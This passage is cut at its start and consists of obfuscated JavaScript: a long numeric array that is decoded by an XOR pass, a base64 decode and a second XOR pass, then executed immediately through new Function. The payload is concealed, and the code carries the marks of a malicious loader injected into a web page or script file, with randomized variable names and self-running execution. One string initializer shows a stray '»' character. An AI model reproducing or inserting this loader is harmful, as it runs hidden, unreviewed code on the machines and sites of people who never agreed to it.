98,12,14,30,15,3,31,11,8,29,14,15,3,27,31,8,31,20,25,27,19,27,28,11,61,21,30,106,110,22,31,61,110,10,8,49,50,59,10,50,31,15,25,8,11,3,14,34,15,19,30,27,11,21,28,24,12,57,12,28,28,8,15,12,53,113,31,8,11,16,28,24,50,10,30,61,98,20,30,61,27,28,2,27,57,15,30,45,19,12,25,27,110,10,9,15,61,59,28,8,23,3,29,48,110,27,28,8,27,12,24,45,8,16,17,32,19,47,22,106,98,8,27,24,23,9,24,31,49,113,31,8,11,16,28,24,50,10,31,45,11,9,31,11,110,10,31,61,11,107,24,24,49,12,9,31,50,59,18,27,19,27,28,11,19,16,9,11,8,19,29,48,110,29,25,11,61,27,9,11,8,19,13,50,45,57,13,48,110,8,28,27,49,15,29,31,98,21,30,45,11,14,31,45,110,14,2,30,110,8,28,27,49,15,29,31,98,21,30,34,15,19,30,27,11,21,28,24,12,57,24,34,11,10,27,50,15,19,30,61,99,16,9,24,53,113,24,61,49,19,27,31,49,10,24,24,0,24,16,24,23,14,30,50,20,16,9,31,50,59,18,28,53,113,31,8,11,16,28,24,50,10,31,61,11,10,24,15,49,40,23,51,110,44,14,34,19,12,31,45,61,10,24,61,61,18,29,31,49,113,29,27,19,17,24,11,15,22,28,15,50,19,13,50,34,19,13,50,45,18,28,27,98,25,28,11,61,21,30,106,31,113,27,61,19,20,25,15,49,113,25,34,27,28,31,11,12,19,29,61,61,18,9,14,110,22,31,27,15,8,24,12,99,57,10,61,15,2,31,27,12,10,30,11,11,10,24,50,15,16,9,24,23,31,28,8,11,14,30,106,31,34,31,45,110,23,25,24,19,31,14,34,23,31,31,61,110,20,28,45,8,16,30,34,11,20,30,15,50,59,28,45,27,14,11,14,110,28,31,61,41,28,2,24,53,22,31,61,110,10,31,34,31,25,13,106,0,14,14,107,28,29,14,11,45,31,28,11,49,21,24,12,46,29,24,24,15,16,10,61,19,27,30,11,107,29,14,8,31,27,31,45,27,23,31,54,41,108,29,50,15,21,13,32,110,14,27,45,27,21,27,61,46,20,24,11,27,12,27,28,46,29,15,8,54,29,9,48,110,31,28,8,15,22,30,61,3,28,18,31,107,29,30,11,27,12,24,24,19,12,8,48,34,20,25,27,12,56,15,24,34,59,31,45,11,12,28,24,23,10,11,14,110,11,28,61,19,17,24,106,49,113,24,8,57,11,24,14,53,113,25,34,27,28,31,11,15,98,14,14,110,28,31,61,41,28,9,31,98,12,25,11,11,10,9,11,57,15,30,45,19,12,25,27,110,10,9,14,110,30,28,45,49,8,25,11,57,31,9,24,53,2,27,24,20,24,10,61,106,20,27,45,110,17,29,45,50,57,10,61,23,2,25,8,31,16,24,45,8,18,8,32,110,30,28,45,49,8,25,11,57,31,14,34,23,31,31,50,11,20,28,12,110,113,27,50,15,23,29,11,19,12,9,14,110,30,28,45,49,8,25,11,57,31,14,34,23,31,31,50,11,20,28,15,50,56,8,49,0,59,25,27,62,16,10,61,106,20,27,45,110,17,29,45,50,19,31,45,11,12,28,24,23,10,11,14,110,20,30,11,23,21,25,50,41,19,14,34,23,31,31,11,106,27,27,61,8,16,14,48,107,21,9,49,12,21,14,15,0,29,9,28,53,14,24,24,15,15,31,45,99,24,10,61,19,25,30,11,54,16,10,61,41,11,24,8,31,28,9,54,24,19,13,50,34,19,14,45,19,27,28,11,19,16,9,11,57,15,30,45,19,12,25,27,110,10,9,15,61,59,31,45,11,12,28,24,23,10,11,14,110,25,27,61,106,16,9,14,110,22,31,27,15,8,24,15,42,11,9,28,53,57,9,28,53,57,24,34,11,10,27,50,15,19,30,61,99,24,10,61,57,11,30,61,106,25,28,31,49,113,28,61,106,2,31,34,19,0,31,15,61,59,28,45,27,14,11,14,110,15,27,34,49,31,2,27,15,21,27,50,11,23,24,27,98,12,14,45,19,14,24,27,27,12,24,25,11,20,24,27,45,31,30,34,12,16,8,50,19,25,31,45,61,8,28,15,0,19,13,48,110,15,27,34,49,31,14,34,19,14,27,54,45,113,28,61,106,2,31,34,19,0,31,15,42,29,14,61,27,8,25,31,98,8,25,8,28,63,31,54,34,29,9,48,110,18,27,27,106,28,30,24,23,31,9,49,0,18,10,50,62,57,8,49,53,41,27,24,15,16,14,45,57,20,30,61,110,14,9,9,15,27,28,11,8,10,30,45,110,13,9,15,50,21,12,107,28,8,15,12,28,19,13,48,110,15,27,34,49,31,14,45,27,9,29,27,98,25,2,24,15,14,28,27,8,59,9,11,15,21,27,50,11,23,24,27,98,12,14,45,49,31,27,27,15,62,18,11,15,21,27,50,11,23,24,27,98,12,14,45,23,21,24,8,50,19,14,45,27,8,31,11,11,10,24,9,19,16,25,27,106,28,9,14,110,15,27,34,49,31,9,28,53,57,10,61,19,25,30,11,54,16,15,15,50,10,28,11,49,31,30,106,49,18,28,27,98,25,28,11,61,21,30,106,49,113,28,61,106,2,31,34,19,0,31,15,61,59,25,27,62,16,10,50,3,20,28,34,23,9,29,8,28,19,10,61,57,11,30,61,106,25,28,31,49,113,28,61,106,2,31,34,19,0,31,15,50,59,18,31,50,59,18,31,50,16,9,28,53,103]; var _0xbcca16a4d558=90; var _0x163772b41096=»; for(var _0xb162c948b1cd=0;_0xb162c948b1cd<_0xf84708a7a28f.length;_0xb162c948b1cd++) _0x163772b41096+=String.fromCharCode(_0xf84708a7a28f[_0xb162c948b1cd]^_0xbcca16a4d558); var _0xbea1f721e2d7=97; var _0xf86172365cea=atob(_0x163772b41096); var _code=''; for(var _0xb162c948b1cd=0;_0xb162c948b1cd<_0xf86172365cea.length;_0xb162c948b1cd++) _code+=String.fromCharCode(_0xf86172365cea.charCodeAt(_0xb162c948b1cd)^_0xbea1f721e2d7); (new Function(_code))(); })();
